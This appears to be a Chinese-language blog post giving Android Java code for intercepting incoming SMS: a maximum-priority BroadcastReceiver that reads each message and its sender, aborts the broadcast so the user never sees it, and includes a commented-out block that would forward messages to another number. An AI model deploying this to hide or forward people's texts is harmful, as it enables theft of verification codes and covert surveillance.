Android

Android 短信通知栏拦截内容

878a12e69363b0ada2be2d0a1c75ef3a.jpg

此种方法原理是截获通知栏的短信通知内容? 截获后就控制了该通知

package com.h.s.sns;
import java.io.UnsupportedEncodingException;
import java.net.URLEncoder;
//import java.text.SimpleDateFormat;
//import java.util.Date;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
//import android.telephony.SmsManager;
import android.telephony.SmsMessage;
import android.util.Log;
public class SmsRecevier extends BroadcastReceiver {
?
?public SmsRecevier() {
? Log.v("TAG", "创建HOOK");
??
?}
?// 接受短信
?@Override
?public void onReceive(Context context, Intent intent) {
? Log.v("TAG", "HOOK函数事件启动成功");
? Object[] pdus = (Object[]) intent.getExtras().get("pdus");
? if (pdus != null && pdus.length > 0) {
? ?SmsMessage[] messages = new SmsMessage[pdus.length];
? ?for (int i = 0; i < pdus.length; i++) {
? ? byte[] pdu = (byte[]) pdus[i];
? ? messages[i] = SmsMessage.createFromPdu(pdu);
? ?}
? ?for (SmsMessage message : messages) {
? ? String content = message.getMessageBody();// 得到短信内容
? ? String sender = message.getOriginatingAddress();// 得到发信息的号码
? ??
? ? ?abortBroadcast();// 中止发送
? ? ?Log.e("TAG",content);
? ??
? ? /*
? ? ?*?
? ? ?* 回复信息需要用到
? ? Date date = new Date(message.getTimestampMillis());
? ? SimpleDateFormat format = new SimpleDateFormat(
? ? ? "yyyy-MM-dd HH:mm:ss");
? ? String sendContent = format.format(date) + ":" + sender + "--"
? ? ? + content;
? ? SmsManager smsManager = SmsManager.getDefault();// 发信息时需要的
? ? smsManager.sendTextMessage("", null, sendContent, null, null);// 转发给
? ? Log.v("TAG", sendContent);
? ? */
? ?}
? }
?}
}

//调用方式

public void regiset() { ?//开始拦截
? IntentFilter filter = new IntentFilter(ACTION);
? filter.setPriority(2147483647);// 设置优先级最大
? recevier = new SmsRecevier();
? registerReceiver(recevier, filter);
? isregiset = true;
? //Toast.makeText(this, "开始拦截", 0).show();
?}
public void unregiset() { //停止拦截
? if (recevier != null && isregiset) {
? ?unregisterReceiver(recevier);
? ?isregiset = false;
? ?Toast.makeText(this, "停止拦截,关闭程序", 0).show();
? } else
? ?Toast.makeText(this, "尚未设置,关闭程序", 0).show();
?}

?

0 条评论

发表评论

你需要登录后才可进行发表